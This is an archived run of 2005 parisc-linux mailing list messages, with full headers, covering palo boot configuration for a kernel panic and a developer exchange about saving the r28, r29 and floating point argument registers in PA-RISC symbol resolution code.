>>
>>0 1/boot/vmlinux
> 
> 
> The 1 indicates partition 1 is the boot-partition, the /boot/vmlunix is a
> relative path on that partition. Hence, If /dev/sda1 is your /boot
> partition, te
> line should be: "1/vmlinux".
> 
> Then, the filesystem of /boot is best `ext2` since that is supported by
> most, if
> not all tools. Other filesystems might not be supported.
> 
> 
>>1 root=/dev/sda3
> 
> 
> The root filesystem
> 
> 
>>2 HOME=/
>>3 initrd=/initrd.img
> 
> 
> Carefully check if the initrd parameter is relative to the root or to the
> boot
> filesystem.
> 
> 
>>4 console=ttys0
>>5 TERM=vt102
>>
>>On boot I get:
>>
>>cannot open root device "sda3" or unknownblock(2.0)
> 
> 
> What is the filesystem on /dev/sda3? It better be ext2 since that is
> understood
> by most systems. ext3 is possible, I would not use others.
> 
> 
>>Please append a correct "root=" boot option
>>Kernel panic: VFS: Unable to mount root fs or unknown-block(2.0)
> 
> 
> I think your kernel only allows ext2 and finds something else.
> 
> 
>>	I have seen one document which says I have to build a ramdisk, but it
>>doesn't tell me how. What's worse is that I can't get 2.4.26 to boot again
>>even though I have a symlink (vmlinux.old) to it. I tried changing line 0
> 
> to
> 
>>1/boot/vmlinux.old (and deleting the "initrd=/initrd.img" line, but it
> 
> still
> 
>>boots 2.6.8. I even tried inserting a line saying
>>recoverykernel=/boot/vmlinux.old but that didn't help.
> 
> 
> I've seen teh palo that comes with gentoo has an option to list the
> directory of
> the boot-device, so you can check the kernel path.
> 
> Keep in mind:
> palo must be able to read the boot device (/dev/sd1). Try ext2.
> The kernel must be able to read the root device without loading a module.
> Most
> kernels have ext2 build in.
> 
> 
> My idea: once you have a proper working kernel, build a new one without any
> modules (all stuff build in) and configure that as a recovery kernel in
> palo.
> 
> 
>>*************
>>
>>	I'm sure there's an easy answer and maybe everyone is tired of answering
>>these kind of newbie questions, but I'm desperate, so I thought I'd try
> 
> one
> 
>>more time.
>>
>>Thanks,
>>
>>Harry
>>
>>
>>_______________________________________________
>>parisc-linux mailing list
>>parisc-linux@lists.parisc-linux.org
>>http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>>
> 
> 
> 

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Comments?
Date: Wed, 2 Mar 2005 16:37:55 -0500
Lines: 31
Approved: news@gmane.org
Message-ID: <20050302213755.GQ23803@baldric.uwo.ca>
References: <20050302192111.GN23803@baldric.uwo.ca>
	<200503021941.j22Jfi27010862@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623682 12844 80.91.229.3 (22 Nov 2014 02:34:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:42 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 tausq@debian.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 02 Mar 2005 21:38:21 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx060) with SMTP; 02 Mar 2005 22:38:21 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 792CF7D64E;
	Wed,  2 Mar 2005 14:39:01 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27434-03; Wed, 2 Mar 2005 14:39:01 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DF9727D653;
	Wed,  2 Mar 2005 14:39:00 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A1A067D64B
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  2 Mar 2005 14:38:57 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26971-10 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 2 Mar 2005 14:38:57 -0700 (MST)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 31A6D7D64A
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  2 Mar 2005 14:38:57 -0700 (MST)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1D6bXY-0001cs-00; Wed, 02 Mar 2005 16:37:56 -0500
Content-Disposition: inline
In-Reply-To: <200503021941.j22Jfi27010862@hiauly1.hia.nrc.ca>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility.
X-Mailer: Neural Implant (67% Sync Ratio [=======...])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: L15NKlo+TlIv47eQeGhrSVVGU2poZZkU
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22390

On Wed, Mar 02, 2005 at 02:41:44PM -0500, John David Anglin wrote:
> > 	/* Build a call frame, and save structure pointer. */
> > 	copy	%sp, %r26	/* Copy previous sp */
> > 	stwm	%r28,64(%sp)
> 
> r28?  I'm thinking that the static chain (r29) and struct value
> (r28) registers need to be saved as well as r23-r26.

To be truthful I'm only saving r28 because in the legacy code we saved
r28. I didn't know our toolchain used r28 for function entry or r29 for
function entry.

Are you suggesting this because we could use them in the future?

I know that r29 is the "static link register" for entry.
I don't understand the full purpose of r28 which is the "function result
address" on entry.

This is exactly the type of feedback I wanted! Thanks.

What do I do about the floating point registers?

Cheers,
Carlos.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Comments?
Date: Wed, 2 Mar 2005 17:38:41 -0500 (EST)
Lines: 48
Approved: news@gmane.org
Message-ID: <200503022238.j22Mcftt011620@hiauly1.hia.nrc.ca>
References: <20050302213755.GQ23803@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623682 12848 80.91.229.3 (22 Nov 2014 02:34:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:42 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 tausq@debian.org
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 02 Mar 2005 22:39:23 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx008) with SMTP; 02 Mar 2005 23:39:23 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AB5987D654;
	Wed,  2 Mar 2005 15:40:12 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27602-09; Wed, 2 Mar 2005 15:40:12 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BAB8A7D655;
	Wed,  2 Mar 2005 15:40:11 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 853347D653
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  2 Mar 2005 15:40:08 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27602-06 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 2 Mar 2005 15:40:08 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 03FC17D64E
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  2 Mar 2005 15:40:07 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j22McghF011621; Wed, 2 Mar 2005 17:38:42 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j22Mcftt011620;
	Wed, 2 Mar 2005 17:38:41 -0500 (EST)
In-Reply-To: <20050302213755.GQ23803@baldric.uwo.ca> from "Carlos O'Donell" at
	Mar 2, 2005 04:37:55 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: /CxNKvFqTlIv47eQeGhrSVVGU2poZRkW
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22391

> On Wed, Mar 02, 2005 at 02:41:44PM -0500, John David Anglin wrote:
> > > 	/* Build a call frame, and save structure pointer. */
> > > 	copy	%sp, %r26	/* Copy previous sp */
> > > 	stwm	%r28,64(%sp)
> > 
> > r28?  I'm thinking that the static chain (r29) and struct value
> > (r28) registers need to be saved as well as r23-r26.
> 
> To be truthful I'm only saving r28 because in the legacy code we saved
> r28. I didn't know our toolchain used r28 for function entry or r29 for
> function entry.

Yes, it uses both.  I now see that the code is saving and
restoring r28.

> Are you suggesting this because we could use them in the future?
> 
> I know that r29 is the "static link register" for entry.
> I don't understand the full purpose of r28 which is the "function result
> address" on entry.

r28 is used to pass the return address for structures larger
than 8 bytes.  Use of r29 on input is fairly rare.

GCC will clobber r28 and r29.  Thus, you need to save both.

> What do I do about the floating point registers?

Hmmm, there is one circumstance where floating point registers
can be used in integer code.  That's for the xmpyu instruction.
Thus, you should either save the argument registers, or compile
the code that does symbol resolution using -mdisable-fpregs,
or with GCC 4.0 or later compile with -mfixed-range specifying
the fp argument registers as fixed.  The latter will stop GCC
from using the argument fp argument registers.  Since the path
is only used once per function call, it's probably best to save
all the possible argument registers.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Comments?
Date: Wed, 2 Mar 2005 21:45:52 -0500
Lines: 52
Approved: news@gmane.org
Message-ID: <20050303024545.GR23803@baldric.uwo.ca>
References: <20050302213755.GQ23803@baldric.uwo.ca>
	<200503022238.j22Mcftt011620@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623682 12850 80.91.229.3 (22 Nov 2014 02:34:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:42 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 tausq@debian.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Mar 2005 02:46:08 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx062) with SMTP; 03 Mar 2005 03:46:08 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DFA067D656;
	Wed,  2 Mar 2005 19:46:58 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28109-06; Wed, 2 Mar 2005 19:46:58 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DD7837D653;
	Wed,  2 Mar 2005 19:46:57 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 197807D64A
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  2 Mar 2005 19:46:54 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28109-03 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 2 Mar 2005 19:46:53 -0700 (MST)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id A07597D640
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  2 Mar 2005 19:46:53 -0700 (MST)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1D6gLY-000315-00; Wed, 02 Mar 2005 21:45:52 -0500
Content-Disposition: inline
In-Reply-To: <200503022238.j22Mcftt011620@hiauly1.hia.nrc.ca>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (67% Sync Ratio [=======...])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: EBZNKnl0TlIv47eQeGhrSVVGU2poZRkW
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22392

On Wed, Mar 02, 2005 at 05:38:41PM -0500, John David Anglin wrote:
> > To be truthful I'm only saving r28 because in the legacy code we saved
> > r28. I didn't know our toolchain used r28 for function entry or r29 for
> > function entry.
> 
> Yes, it uses both.  I now see that the code is saving and
> restoring r28.

Yes, I store/load it into/from the stack.  I like stwm since it
automatically adjusts the stack and gives you a free register to play
with.
 
> r28 is used to pass the return address for structures larger
> than 8 bytes.  Use of r29 on input is fairly rare.

Ok.
 
> GCC will clobber r28 and r29.  Thus, you need to save both.

Ok. I will save both.

> > What do I do about the floating point registers?
> 
> Hmmm, there is one circumstance where floating point registers
> can be used in integer code.  That's for the xmpyu instruction.
> Thus, you should either save the argument registers, or compile
> the code that does symbol resolution using -mdisable-fpregs,
> or with GCC 4.0 or later compile with -mfixed-range specifying
> the fp argument registers as fixed.  The latter will stop GCC
> from using the argument fp argument registers.  Since the path
> is only used once per function call, it's probably best to save
> all the possible argument registers.

There are a lot of files that do symbol resolution. I think I might just
save the fp argument registers, and thus allow gcc to do any sorts of
optimizations it wishes with therest of the code, knowing that the
arguments are all saved and restored on the initial function call.

Thanks.


I have to get all the LA patches added. Test that. Then add the cfi
directives and test Randolphs cfi patch.

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Comments?
Date: Wed, 2 Mar 2005 22:21:49 -0500 (EST)
Lines: 21
Approved: news@gmane.org
Message-ID: <200503030321.j233LoiR013194@hiauly1.hia.nrc.ca>
References: <20050303024545.GR23803@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623683 12853 80.91.229.3 (22 Nov 2014 02:34:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:43 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 tausq@debian.org
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Mar 2005 03:22:31 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx067) with SMTP; 03 Mar 2005 04:22:31 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CDFE67D64F;
	Wed,  2 Mar 2005 20:23:21 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28476-10; Wed, 2 Mar 2005 20:23:21 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 49F377D653;
	Wed,  2 Mar 2005 20:23:21 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 678BA7D64B
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  2 Mar 2005 20:23:17 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28655-02 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 2 Mar 2005 20:23:17 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id DB8F57D63C
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  2 Mar 2005 20:23:16 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j233LohF013196; Wed, 2 Mar 2005 22:21:50 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j233LoiR013194;
	Wed, 2 Mar 2005 22:21:50 -0500 (EST)
In-Reply-To: <20050303024545.GR23803@baldric.uwo.ca> from "Carlos O'Donell" at
	Mar 2, 2005 09:45:52 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: lu5NKulsTlIv47eQeGhrSVVGU2poZdmt
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22393

> There are a lot of files that do symbol resolution. I think I might just
> save the fp argument registers, and thus allow gcc to do any sorts of
> optimizations it wishes with therest of the code, knowing that the
> arguments are all saved and restored on the initial function call.

Sounds good.

I think we have somehow broken __cffc.  I did a binutils build
yesterday and various ld tests are now failing.  These are tests
that compare function pointers.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP model 612 hard disk not found
Date: Thu, 03 Mar 2005 13:50:19 +0000
Lines: 55
Approved: news@gmane.org
Message-ID: <4227161B.6040600@tiscali.be>
References: <200502251214.15993.mszick@wolfbutter.com>	<20050226162901.GA26100@hiauly1.hia.nrc.ca>
	<20050226185626.GC16927@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623683 12854 80.91.229.3 (22 Nov 2014 02:34:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:43 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 parisc-linux@lists.parisc-linux.org,
 "Michael S. Zick" <mszick@wolfbutter.com>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Mar 2005 13:50:50 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx047) with SMTP; 03 Mar 2005 14:50:50 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 185EE7D64B;
	Thu,  3 Mar 2005 06:51:26 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31860-09; Thu, 3 Mar 2005 06:51:25 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E85397D64E;
	Thu,  3 Mar 2005 06:51:24 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 985E97D64B
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  3 Mar 2005 06:51:21 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31860-05 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 3 Mar 2005 06:51:21 -0700 (MST)
Original-Received: from spoolo2.tiscali.be (spoolo2.tiscali.be [62.235.13.173])
	by free.linux.hp.com (Postfix) with ESMTP id 1A89D7D642
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  3 Mar 2005 06:51:21 -0700 (MST)
Original-Received: from [83.134.227.57] (helo=[83.134.227.57])
	by spoolo2.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1D6qfX-0006ia-Qe; Thu, 03 Mar 2005 14:47:12 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.5) Gecko/20050105 Debian/1.7.5-1
X-Accept-Language: en
In-Reply-To: <20050226185626.GC16927@colo.lackof.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
